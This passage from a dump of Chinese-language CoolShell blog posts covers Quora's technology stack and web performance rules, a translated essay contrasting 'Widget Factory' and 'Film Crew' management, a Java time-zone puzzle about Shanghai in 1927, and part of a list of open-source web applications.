的老东家facebook一样，，Quora重度使用MySQL。对于，把数据库里的数据分区是最需要做的事。他们的行事原则是，尽可能的把数据放在一台机器上，使用hash主键把大规模的数据存放到多个数据库中。坚决不用表连接。Adam参考了FriendFeed的一篇文章[How FriendFeed uses MySQL to store schema-less data](http://bret.appspot.com/entry/how-friendfeed-uses-mysql)，[并说](http://www.quora.com/NoSQL/In-what-parts-of-a-social-site-with-concert-listings-should-one-use-a-NoSQL-DB-versus-a-SQL-DB)你不应该在你的社区还没有100万用户的时候使用NoSQL 数据库。\n\n\n并不只是Quora和FriendFeed使用MySQL，Google，Twitter，Facebook都在使用MySQL.\n\n\n参考：[http://www.quora.com/favicon.icoHow does one evaluate if a database is efficient enough to not crash as it’s put under increasing load?](http://www.quora.com/How-does-one-evaluate-if-a-database-is-efficient-enough-to-not-crash-as-its-put-under-increasing-load)\n\n\n#### Memcached\n\n\n[Memcached](http://memcached.org/) 用于 MySQL的前端缓存。\n\n\n#### Git\n\n\n[Git](http://git-scm.com/) [是他们的源码版本控制工具](http://www.quora.com/What-languages-and-frameworks-were-used-to-code-Quora).\n\n\n#### JavaScript Placement\n\n\n如果你看一下Quora的网页源码，你会看到其JavaScript总是在页面的最后。 Charlie Cheever[建议](http://www.quora.com/Why-is-the-Quora-website-so-fast) 这会让你的页面显得载入得很快，因为其先显示内容，然后在载入Javascript。\n\n\n#### Charlie Cheever 遵从 “14 Rules for Faster-Loading Web Sites”\n\n\nSteve Souders,  High Performance Web Sites 和 Even Faster Web Sites的作者，其列了一些 [rules让你网页更快的原则](http://stevesouders.com/hpws/rules.php)。 Charlie Cheever 的 Quora 创始人提到这些过，这应该也是Quora的速度的原因。\n\n\n\n> “One resource we used as a guide is Steve Souders’ list of rules for high performance websites:<http://stevesouders.com/hpws/rules.php>”  \n> \n> [– Charlie Cheever, Quora](http://www.quora.com/Why-is-the-Quora-website-so-fast)\n> \n> \n\n\n\nSteve Souders的14条规则是——[https://images-na.ssl-images-amazon.com/images/I/41COtT-V1UL._SL160_.jpg](http://www.amazon.com/gp/product/0596529309?ie=UTF8&tag=getafil-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=0596529309) \n* Make Fewer HTTP Requests\n* Use a Content Delivery Network\n* Add an Expires Header\n* Gzip Components\n* Put Stylesheets at the Top\n* Put Scripts at the Bottom\n* [https://images-na.ssl-images-amazon.com/images/I/41vfOvQugoL._SL160_.jpg](http://www.amazon.com/gp/product/0596522304?ie=UTF8&tag=getafil-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=0596522304)Avoid CSS Expressions\n* Make JavaScript and CSS External\n* Reduce DNS Lookups\n* Minify JavaScript\n* Avoid Redirects\n* Remove Duplicate Scripts\n* Configure ETags\n* Make AJAX Cacheable\n\n\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4549.html)[Facebook 的系统架构](https://coolshell.cn/articles/4549.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![关于Facebook 的 React 专利许可证](../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg)](https://coolshell.cn/articles/18140.html)[关于Facebook 的 React 专利许可证](https://coolshell.cn/articles/18140.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\nThe post [Quora使用到的技术](https://coolshell.cn/articles/4939.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-7-6 软件公司的两种管理方式.md",
    "content": "---\nlayout: post\ntitle: 软件公司的两种管理方式\ndate: 2011/7/6/ 0:36:43\nupdated: 2011/7/6/ 0:36:43\nstatus: publish\npublished: true\ntype: post\n---\n\n这篇文章是我的一个外国的同事Gareth推荐给我的，我和他一起工作过一段时间。他之所以觉得非常不错，是因为这篇文章让他身有体会，他觉得我也一定会有体会，并让我考虑一下翻译到我的blog上来。我看完后觉得很有代表性，而且觉得说得太对了，所以翻译过来，**希望大家都读一读，最好转给你的公司老板**。\n\n\n这篇文章来源于 StakeExchange上的一个问题——“[为什么BA和PM的薪水要比程序员要高？](http://programmers.stackexchange.com/questions/45776/why-do-business-analysts-and-project-managers-get-higher-salaries-than-programmer \"Why do business analysts and project managers get higher salaries than programmers?\")”，顶在一楼的回复分析了这个原因，并指出了两种管理文化。\n\n\n———————————————————正文开始————————————————————\n\n\n一个简单的回答应该是——“因为在我们的社会里，我们总是会认为薪水和会和职位的层次绑在一起”。但是，这个答案同时也折射出一个事实——我们的薪资是基于我们的所理解的价值，但这并没有解释\n\n\n1. **为什么PM（Project Manager）和BA（Business Analysts）在很多软件公司里在组织的上层？**\n2. **为什么软件项目团队总是在最底层？**\n\n\n这两个问题真是非常地值得我们去问，去思考。\n\n\n总体来说，这个世界上存在两种不同的软件公司的组织结构。我把他们叫做 **Widget Factory**（小商品工厂） 和 **Film Crews**（电影工作组）.\n\n\nWidget Factories 想要去解决 [怎么去激发被X理论所影响的人](http://en.wikipedia.org/wiki/Theory_X_and_theory_Y) 。X理论由 McGregor提出，这个理论是说，一般人的本性是懒惰的，工作越少越好，可能的话会逃避工作，大部分人对集体（公司，机构，单位或组织等）的目标不关心，因此管理者需要以强迫，威胁处罚，指导，金钱利益等诱因激发人们的工作源动力。于是，经理总是要去做他下属的工作。于是，基于这种前提下所思考出来的管理方式，很自然的就是——整个团队能够容易地被经理一个人所取代，这种团队中的每一个人都很容易被别人取代，在这种团队里，经理的工作能力不断地被加强。因些，这种公司一般使用树形层级的组织结构，而不是水平式的工作角色。\n\n\n\nWidget Factory 管理体系运作于软件需求的某种假设，这种假设需要BA在一个定义地非常明确的并且需要主管项目经理监管的流程的环境下，准备软件的规格说明书。这种软件制造业需要对项目定置足够的可被替换的编程和测试资源。整个工作由事先安排好的预算来驱动，这个预算由PM和BA在初始化business case的时候完成。\n\n\n一个 Widget Factory 的公司的管理可以通过观察这个公司员工的谈话方式识别出来。他们很喜欢谈论Resource资源（包括干活的人也叫做resource），Process流程，Operating efficiency运作效率，uniformity一致性， repeatability可重复性，严格在控制对资源的使用，鲜明的工作角色和 鲜明的流程定义（inputs 和 outputs）。他们对实实在在的软件开发漠不关心，他们想要把理想中的软件开发运作变成他们看得见的图画。\n\n\nFilm Crews 。这种公司认为人是有相当高的智力和创造力的，是自己可以激发自己的（陈皓注：即使没有外界的压力和处罚的威胁，他们一样会努力工作以期达到目的——人们具有自我调节和自我监督的能力），人们努力工作，并且可以享受工作（人们愿意为集体的目标而努力，在工作上会尽最大的努力，以发挥创造力，才智），就像孩子喜欢玩一样。 Film Crews 认为，每一个个体的自已专业能力，要远远优于那种被组织和协调出来的能力。因为经理不再代替每一个人，而树形的层次架构也不能很好的运作——人们不得不以比较复杂和形式合作才能把事搞定。工作职责变得非常地垂直——你需要具有从上到下的而比较宽泛的各种能力（陈皓注：每个人都需要有管理和技术能力），这种管理也就是基于 [McGregor的 Y理论](http://en.wikipedia.org/wiki/Theory_X_and_theory_Y)。\n\n\n对于一个Film Crew 的Director（注：有总监和导演的意思），他了解把一个伟大的软件组合起来的每一个碎片，他需要组织一个无与伦比的团队，并且要帮助这个团队能凝聚在一起，团结在一起工作。他的角色是鼓舞大家，守护着构想（Vision），提供方向和集中大家的精力。团队里的每一个人都很关键，因为“Director”相信软件的结果来自所有的参与者，以及他们的那种独一无二团队工作方式。大家都知道自己是这个事的一个明星，明星效应可以增加成每个人的成功的机会。而他们的构想(Vision)驱动着项目的预算和拨款。\n\n\n**当我们用报酬来表示的话，** Widget Factories 认为，有价值的东西总是从PM和BA派生出来的，所以他们常驻在管理层的上面，也有相应的报酬，而对于软件团队，只要他们正确地把需求变成可工作的代码后，软件团队就变得无所谓了。PM 和 BA 努力工作来维护他们的权位，他们通常不会让你能得到项目的原始信息。因为团队拿不到项目的原始信息，所以团队就要拼命地制造各种理由来让他们的方案变得有价值，程序员成为了只会从PM和BA那边听从命令的工人。而这种情况反而让Widget Factory 公司放大了他们的那种想法——程序员都是差不多的，就像车间里的工人一样，他们只不过在机械地干一些很复杂的但是很标准的事情。\n\n\n与 Widget Factories 公司鲜明的对比，Film Crew 更主张的是平等的工作职能，每个成员都可以不受限制地获得主要的和原始的信息，其鼓励所有人形成自己的价值判断，并且可以自由地选择不同的方式来达到团队的构想。Leadership领导力结构基于人的能力而不是工作角色。报酬折射出这个人是怎么在这个项目中工作的，需要明白这个人为我们的软件创造了多大的价值和产生了怎么样的结果。 在这种环境里，PM的工作显得并不突出，他也许也不太可能是一个有创造力的领导者，工作角色被弱化成了一种行政管理上的支持者，以及团队外部的联系者。BA的部分工作直接被团队取代（在项目早期被Director取代）。\n\n\n今天，我们一点也不奇怪，大多数的公司内的软件开发团队以及一些咨询工作运作于 Widget Factories ，其需要依赖于流程来不断地制造那些无聊的软件。在这种情况，惯例上来说，PM和BA要比程序员挣得更多，这是基本一种他们可以创造更多价值的假设。**在这种组强架构和管理里，程序员们很难证明管理是错误的。**\n\n\n**成功的软件公司都会趋于采用 Film Crew 的方式，任何其它的东西都会妨碍他们吸引牛人的能力，因为只有吸引了牛人，你才能创造出伟大的软件**。 在这种公司里，一个好的程序员的收入会高过BA和PM很多。\n\n\n———————————————————正文结束————————————————————\n\n\n读完这个贴子，我发现这完全就是在说我上一家公司和现在公司。我上一家公司的经理们最喜欢谈论的就是resource、 process，而他们的Project Manager或Team Manager或Dev Manager几乎不会为软件团队分担真正的软件开发的压力，还不如Widget Factory。哎！第一次看到这么被人系统地表达出来，心中的一些困惑都得到了解答。\n\n\n你的公司属于哪一种呢？\n\n\n***————更新 – 2011-7-6 晚————***\n\n\n有人在我的新浪微博（[@左耳朵耗子](http://weibo.com/haoel)）里说，Widget Factory就是Waterfall，Film Crews就是Agile，在下面的留言里也说Film Crews很像SCRUM。我在这里驳斥一下这种说法：\n\n\n1. 我上一家公司也用Agile ，但本质上还是Widget Factory，甚至还不像。\n2. 著名的Thoughtworks中国公司，Agile的倡导者，其实是外包公司，他们的开发团队中也有PM和BA。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](https://coolshell.cn/articles/10217.html)[加班与效率](https://coolshell.cn/articles/10217.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/3218.html)[开发时间估计](https://coolshell.cn/articles/3218.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\nThe post [软件公司的两种管理方式](https://coolshell.cn/articles/4951.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-1 你确信你了解时间吗？.md",
    "content": "---\nlayout: post\ntitle: 你确信你了解时间吗？\ndate: 2011/8/1/ 0:25:59\nupdated: 2011/8/1/ 0:25:59\nstatus: publish\npublished: true\ntype: post\n---\n\n你还记得“[软件真的好难做](https://coolshell.cn/articles/4811.html \"软件真的好难做啊\")”中的那个有意思的例子吗？那个例子告诉我们软件开发中假设可能会是致命的事。今天，我又在StackOverflow上看到一个关于时间的问题——[为什么1927年12月31日的午夜时间这么奇怪](http://stackoverflow.com/questions/6841333/why-is-subtracting-these-two-times-in-1927-giving-a-strange-result)？提问题的这个人给了下面的一段java代码（我做一些修改，保证让你可以copy过去就可以编译运行）\n\n\n我在其中高亮了几行，这个程序就是想比较一下“1927-12-31 23:54:07”  和  “1927-12-31 23:54:08” 差几秒，很明显，是差一秒。但是程序的输出却不是这样的。\n\n\n\n```\nimport java.text.SimpleDateFormat;\nimport java.text.ParseException;\nimport java.util.Date;\nimport java.util.TimeZone;\nclass time{\n    public static void main(String[] args) throws ParseException {\n        SimpleDateFormat sf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        sf.setTimeZone(TimeZone.getTimeZone(\"Asia/Shanghai\"));\n        String str3 = \"1927-12-31 23:54:07\";\n        String str4 = \"1927-12-31 23:54:08\";\n        Date sDt3 = sf.parse(str3);\n        Date sDt4 = sf.parse(str4);\n        long ld3 = sDt3.getTime() /1000;\n        long ld4 = sDt4.getTime() /1000;\n        System.out.println(ld3);\n        System.out.println(ld4);\n        System.out.println(ld4-ld3);\n    }\n}\n```\n\n \n\n\n\n下面，让我们来看看程序的输出：（是的，差出353秒钟来）\n\n\n\n> `-1325491905  \n> \n> -1325491552  \n> \n> 353`\n> \n> \n\n\nStackoverflow真的很强大，在大家要求发问者给出时区（中国上海）的15分钟内就解决了这个问题。相当的令人惊叹。原因是什么呢？大家需要围观一下[这个网页](http://www.timeanddate.com/worldclock/clockchange.html?n=237&year=1927)。（为了怕被墙或是被和谐，我已习惯了抓屏保存，如果有人能开发一个软件能随看随抓，然后如果源被删了可以P2P的从已下载了的人那里获取，那么这个软件应该会很有国内市场。蛋扯远了，Sorry）\n\n\n![](../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS.png \"Time changes in year 1927 for China – ShanghaiS\")\n\n\n从上图中我们可以看到—— 在1927年12月31日23:59:59时，往后面的一秒应该是1928年1月1日 0:0:0，但是这个时间被往后调整了5分52秒，而成了，1927年12月31日的，23:54:08，于是，完成了352秒的穿越。于是我们的Java程序出了这样的一个问题，这真是一个奇迹。\n\n\n为什么会有这个调整呢？我居然Google不到，不过，我在这个timeanddate.com上查看了一下北京的时间，发现北京的时间只到1970年，于是我猜想，中国近代历史乱七八糟的政权交替可能是这个原因。于是我看 了一下北京和上海物理时差，果然，北京上海的时差在5分50秒左右。**因此，我觉得这个时间的变化应该是从上海（南京）时间变成了北京时间**。至于你信不信，反正我是信了。\n\n\n从这个事，我得到下面的一些启示：\n\n\n1. Java在的时区实现相当的强大啊。这种细节都能考虑到。\n2. 本地时间的完全就是一锅粥，应该尽量不用。\n3. 如果你要开发和时区有关系的程序，你的系统里一定要使用GMT标准时间，仅在显示的时候才转成本地时间。\n\n\n各位无证程序员们，看到这个例子，你们是不是感到编程的压力了？呵呵。\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\nThe post [你确信你了解时间吗？](https://coolshell.cn/articles/5075.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-11 疯狂的 Web 应用开源项目.md",
    "content": "---\nlayout: post\ntitle: 疯狂的 Web 应用开源项目\ndate: 2011/8/11/ 0:40:12\nupdated: 2011/8/11/ 0:40:12\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个Web应用的开源列表。没什么可说的，太疯狂了。尤其是Web 2.0那一堆。我不知道你怎么想，有些开源项目的源码写得挺不好的，尤其是性能方面。或许你会以为改一改他们就可以成为为自己所用，不过，改这些开源的项目还真不容易。玩玩还可以。\n\n\n#### 数字媒体\n\n\n* **相册**（Flickr, Picasa）\n+ [Gallery](http://gallery.menalto.com/)，基于PHP + MySQL的Web相册。非常易于使用，包括一个配置向导，对于相片的操作包括自动生成缩略图、相片的大小改变、选择、排序等。\n+ [Piwigo](http://piwigo.org/ \"Piwigo\")，基于PHP + MySQL。配备了强大的功能，发布和管理您的照片，可扩展性和智能浏览功能，如类别，标签，或年表。这是网络和照片的标准要求。扩展使Piwigo更可扩展性和可定制的。\n+ [UberGallery](http://www.ubergallery.net/ \"UberGallery \")，一个简单易用的相册。PHP。不需要数据库。\n+ [Zenphoto](http://www.zenphoto.org/ \"Zenphoto\")，一个简单的web相册程序,它能够简单的展示你的图片，并含有你所需要的所有功能和特点。可以和Wordpress集成。\n\n\n* **视频**（YouTube）\n+ [Flowplayer](http://www.flowplayer.org/ \"Flowplayer\")，一个用Flash开发的在Web上的视频播放器，可以很容易将它集成在任何的网页上。支持HTTP以及流媒体传输。\n+ [Plumi](http://blog.plumi.org/ \"Plumi\")，一个建立在Plone 内容管理系统上的视频分享系统，可帮助你轻松建立视频分享网站。\n\n\n\n* **音乐电台社区**（last.fm, ulike）\n+ [Libre.fm](http://libre.fm/ \"Libre.fm\")，对Last.fm 的克隆。\n\n\n* **视频电影社区**（netflix, criticker）\n+ [Filmaster](http://filmaster.com/)，fileaster.com的源码。\n\n\n* **书**（LibraryThing, Shelfari, Goodreads）\n+ [O’Reilly Bookworm](http://bookworm.oreilly.com/)，在线电子图书阅读。\n\n\n* **期刊参考论文数据库**（Emerald Insight, Springer Link）\n+ [CiteSeerX](http://citeseerx.ist.psu.edu/ \"CiteSeerX\")，采用机器自动识别技术搜集网上以Postscrip和PDF文件格式存在的学术论文，然后依照引文索引方法标引和链接每一篇文章。（其是CiteSeer的换代产品。1997年，CiteSeer引文搜索引擎由NEC公司在美国普林斯顿研究所的三位研究人员Steve Lawrence, Lee Giles和Kurt Bollacker研制开发。它是利用自动引文标引系统ACI（Autonomous Citation Indexing）建立的第一个科学文献数字图书馆（Scientific Literature Digital Library））。\n\n\n* **地图**（Google Maps）\n+ [OpenStreetMap](http://www.openstreetmap.org/ \"Openstreetmap\")，一个可供自由编辑的世界地图，它是由所有的用户创造的。*OpenStreetMap*允许您查看，编辑或者使用世界各地的地理数据来帮助您。其就像Wikipedia一样，全世界的人都可以编辑，据说其上面的数据超过了政府的数据。当然，目前其参与的人数还不够，大量的地方都是白板。\n\n\n#### 文件存储\n\n\n* **文件共享/同步**（DropBox, drop.io, Ubuntu One）\n+ [Tahoe Least-Authority Filesystem](http://tahoe-lafs.org/trac/tahoe-lafs/ \"Tahoe Least-Authority Filesystem\")，一个云存储分布式文件系统。\n+ [iFolder](http://www.kablink.org/ifolder/ \"IFolder\")，一个简单安全的存储解决方案，可在计算机间文件的同步和分享。可以用来随时备份本地的文件。\n\n\n* **存储**（Amazon S3, Imageshack, Box, Variety of models）\n+ [Jesse Vincent’s Prophet](http://search.cpan.org/~jesse/Prophet-0.72/)，你可以看看他的[文档介绍](http://search.cpan.org/~jesse/Prophet-0.72/lib/Prophet/Manual.pod)吧。\n\n\n* **在线文件编辑**（Google Docs）\n+ [AbiCollab](https://abicollab.net/ \"Abiword\")，基于AbiWord的社群的线上文书处理协作服务。\n+ [Etherpad](http://etherpad.org/ \"Etherpad\")，基于开放软体的线上文书处理服务，最大的特色在于多人即时共同协作一份文件，软体组织不直接提供服务，而是透过其他没有连系的组织网站提供。\n\n\n* **虚拟机供应**（Amazon EC2）\n+ [Eucalyptus (computing)](http://www.open.eucalyptus.com/ \"Eucalyptus (computing)\")，是一用来通过计算集群或工作站群实现弹性的、实用的云计算。它最初是美国加利福尼亚大学 Santa Barbara 计算机科学学院的一个研究项目，现在已经商业化，发展成为了 Eucalyptus Systems Inc。不过，Eucalyptus 仍然按开源项目那样维护和开发。Eucalyptus Systems 还在基于开源的 Eucalyptus 构建额外的产品；它还提供支持服务。\n+ [Globus Toolkit](http://www.globus.org/ \"Globus Toolkit\")，Globus项目工具包，其可以在计算机上提供稳定、安全和对等网络的分布式运算，集群和其它高性能系统功能。\n+ [OpenNebula](http://www.opennebula.org/)，一个虚拟基础设备引擎， 用来动态布署虚拟机器在一群实体资源上，OpenNEbula 最大的特色在于将虚拟平台从单一实体机器到一群实体资源。\n\n\n#### 内容服务\n\n\n\n* **Wiki**（Wikispaces）\n+ [Dokuwiki](http://www.dokuwiki.org/dokuwiki/)，一个针对小公司文件需求而开发的Wiki引擎。DokuWiki是用程序设计语言PHP开发的并以GPL 2发布。DokuWiki基于文本存储，所以不需要数据库，其数据文件在Wiki系统外也是可读的。DokuWiki的功能齐全，支持UTF-8，最新版支持中文链接。能够单独编辑页面中的某个章节，能够自动生成目录，适合中小企业、个人使用，用作资料归档、指南、读书笔记等。DokuWiki安装很简单，默认提供配置工具。\n+ [Mediawiki](http://www.mediawiki.org/wiki/MediaWiki/ \"Mediawiki\")，是一套基于网络的Wiki引擎，维基媒体基金会的所有项目乃至众多wiki网站皆采用了这一软件。MediaWiki软件最初是为自由内容百科全书维基百科所开发，今日已被一些公司机构部署为内部的知识管理和内容管理系统。Novell甚而还在多个高流量的网站中使用了该软件。\n+ [μWiki](https://github.com/rongarret/microWiki/)，一个小巧而功能齐全的wiki，所有的代码才3500行，可通过facebook和openID认证。\n\n\n* **出版**\n+ [Topaz](http://www.topazproject.org/trac/)\n+ [Ambra](http://www.ambraproject.org/)，是一个期刊管理与发布系统。它具有一个高容量、高效、经济的系统来在所有科学领域发表研究文章。\n+ [Open Journal Systems](http://pkp.sfu.ca/?q=ojs/)，简称OJS，此系统是一个开源码的期刊管理与出版软件，由公共知识项目(PKP; Public Knowledge Project)研发与支持。（[中国肺癌杂志](http://www.chinajol.info)使用了这个系统）\n\n\n* **Blog**\n+ [WordPress](http://wordpress.org/)，这个不用说了吧。\n+ [LiveJournal](http://www.livejournal.com/)，一个综合型SNS交友网站，有论坛，博客等功能，Brad Fitzpatrick始建于1999年4月15日，目的是为了与同学保持联系，之后发展为大型网络社区平台，是网友聚集的好地方，*LJ*支持多国语言，*ALEXA*综合排名84 ，日均访客可达6,288,000以上\n\n\n* **微博** （Twitter）\n+ [Jisko](http://jisko.org/)，界面和Twitter很像，集成Twitter同步功能，它能够自动将你在Jisko平台上发布的内容发表到您的Twitter账户上。也能够自动读取您的Twitter更新，但是并不能将这些内容发布到Jisko平台，只能在自己的好友Timeline里查看。Jisko平台还能够连接您的Jabber/GTalk账户，让您通过IM发帖。并且有数个缩链服务供选择，十分实用。\n+ [Jaiku Engine](http://www.jaiku.com/)，Google曾经收购的类Twitter平台Jaiku现在已经完全开源并且切换AppEngine上运行，早前Google曾经宣布停止Jaiku等项目的维护和开发，现在更将Jaiku完全开源提供用户免费下载，所有人都可以在自己的主机上建立和运行自己的Jaiku应用了。\n+ [Status.net](http://status.net/)，一个开源微博服务。同时，它又可将信息同步到Twitter。所以我们也可以把它理解为“开源的Twitter客户端”。但它与客户端又有本质的不同：拥有自己的数据库，只是把数据同步到推特而已。\n\n\n* **网页访问量统计**（Google Analytics）\n+ [Piwik](http://en.wikipedia.org/wiki/Piwik \"Piwik\")，一套基于Php+MySQL技术构建，能够与Google Analytics相媲美的开源网站访问统计系统，前身是phpMyVisites。Piwik可以给你详细的统计信息，比如网页浏览人数, 访问最多的页面, 搜索引擎关键词等等，并且采用了大量的AJAX/Flash技术，使得在操作上更加便易。此外，它还采用了插件扩展及开放API架构，可以让开发人员根据自已的实际需求创建更多的功能．\n+ [Open Web Analytics](http://www.openwebanalytics.com/)，一个开源的网站流量统计系统。基于PHP/Open Flash Chart/Ajax技术开发，既可以单独使用也可以与WordPress、Gallery&MediaWiki集成使用。支持多个网站，集成Google Maps，RSS/Atom订阅跟踪等功能。\n\n\n* **虚拟主机平台**（Google AppEngine）\n+ [AppScale](http://code.google.com/p/appscale/)，是一个平台，允许用户发布和托管自己的 Google App Engine 的应用程序。支持 Python, Java, and Go Google App Engine 平台。\n\n\n* **办公**（Google Docs）\n+ [Zimbra Collaboration Suite](http://www.zimbra.com/products/zimbra-open-source.html)，其英文缩写为ZCA。全功能的通信及协作办公应用程序，提供可靠和高效能的邮件、地址簿、效率手册、任务列表以及网络文档制作功能。\n+ [PHPGroupware](http://www.phpgroupware.org/)，功能强大，基于Web的Messaging ，Collaboration和企业管理平台。*phpGroupWare*包含50多个模块可根据你的需求进行搭配与组合。它提供了约50种基于网络的应用，有日历，通讯录，先进的项目经理，待办事项列表，笔记，电子邮件，新闻组和新闻阅读器，一个文件管理器和更多应用。\n+ [OpenGoo,Fengoffice](http://fengoffice.com/web/index.php/)，基于ExtJs+XAMP（Apache、PHP、MySQL）开发的开源web office。它具备了主流在线协作系统所应具备的所有功能，包括任务管理、日程管理、文件管理、联系人管理以及email收发功能。其文件管理模块，实现了文件版本管理的功能，能够方便的查找、下载同一文件的不同版本。适用于任何单位或个人创建，共享，协作维护和发布它们所有内部与外部文档。\n+ [Crabgrass](http://crabgrass.riseuplabs.org/)，社会网络，小组协作，网络组织的Web应用程序。它由一组协作工具固体套件，如私人维基，任务列表，文件库，和决策工具。程序目前正在做了大量的用户界面改革，更完善的社会网络工具，博客和活动日程，以及更好的协作和决策制定各独立团体的支持。\n+ [Etherpad](http://etherpad.org/)，由两位Google 前员工所开发，已被Google 收购成为开放原始码项目。主要功能是让多个使用者透过网路来共同编辑一份文件，与先前介绍过的Sync.in 好用的线上即时文件协作平台类似。EtherPad 无须注册就能使用，建立文件后会产生一个网址，其它用户可以透过该网址与你编辑同一份文件，并标记出不同用户所编辑的位置，也有提供汇入汇出及时间轴等功能。\n\n\n#### Groupware群件\n\n\n\n\n* **Webmail** (gmail, hotmail)\n+ [Zimbra](http://www.zimbra.com/)，强大的开源协同办公套件包括WebMail，日历，通信录，Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。\n+ [Roundcube](http://roundcube.net/)，支持多国语言的IMAP客户端，操作界面看起像一个桌面应用程序。它提供一个e-mail客户端应该具备的所有功能包括MIME支持,地址薄，文件夹操作，信息搜索和拼写检查。RoundCube Webmail采用PHP+Ajax开发并且需要MySQL数据库来存储数据。 用户界面采用XHTML+CSS2设计。\n+ [conjoon](http://www.conjoon.org/)，基于Ext JS+PHP/MySQL开发的Webmail和RSS客户端阅读器。此外还包含一个联系人管理模块。\n+ [Tdah](http://www.tdah.us/)，一个PHP Webmail系统。该系统采用POP3协议收邮件，可以配置使用SMTP、PHP mail、Sendmail或Qmail来发送邮件。T-dah还包含以下几个模块：事件日历、群组聊天、文件夹管理、邮件搜索等。T-dah使用 TinyMCE WYSIWYG编辑器来创建新邮件。\n+ [Funambol](https://funambol.com/)，世界领先的开源云同步和PUSHMAIL工具，支持诸多手提移动设备，包括苹果、黑莓、Android、Windows Mobile、索爱、三星、诺基亚等20余款。\n+ [Hastymail](http://www.hastymail.org/)，一个使用方便快捷、安全，跨平台的IMAP/SMTP客户端。采用PHP语言编写，运行于PHP+MYSQL平台环境。提供一个简洁的Web界面来发送和读取E-mail。\n+ [Xuheki](http://www.xuheki.com/)，一个很快的IMAP 使用AJAX 技术开发的客户端。你能想到的功能它基本上都有了。\n+ [Claros](http://www.claros.org/)，一个比较简单的，采用pop3/smtp收发邮件的*webMail*系统。不需要数据库的支持。提供一个独立于SMTP服务器的垃圾邮件过滤机制。\n\n\n* **Email 服务器**（MS Exchange）\n+ [Archiveopteryx](http://archiveopteryx.org/)，一个互联网归档邮件服务器，支持强大的归档功能。可以运行在Linux, FreeBSD, NetBSD, OpenBSD 和 Mac OS X。\n+ [Roundcube](http://roundcube.net/)，提供一个e-mail客户端应该具备的所有功能包括MIME支持,地址薄，文件夹操作，信息搜索和拼写检查。RoundCube Webmail采用PHP+Ajax开发并且需要MySQL数据库来存储数据。 用户界面采用XHTML+CSS2设计。\n+ 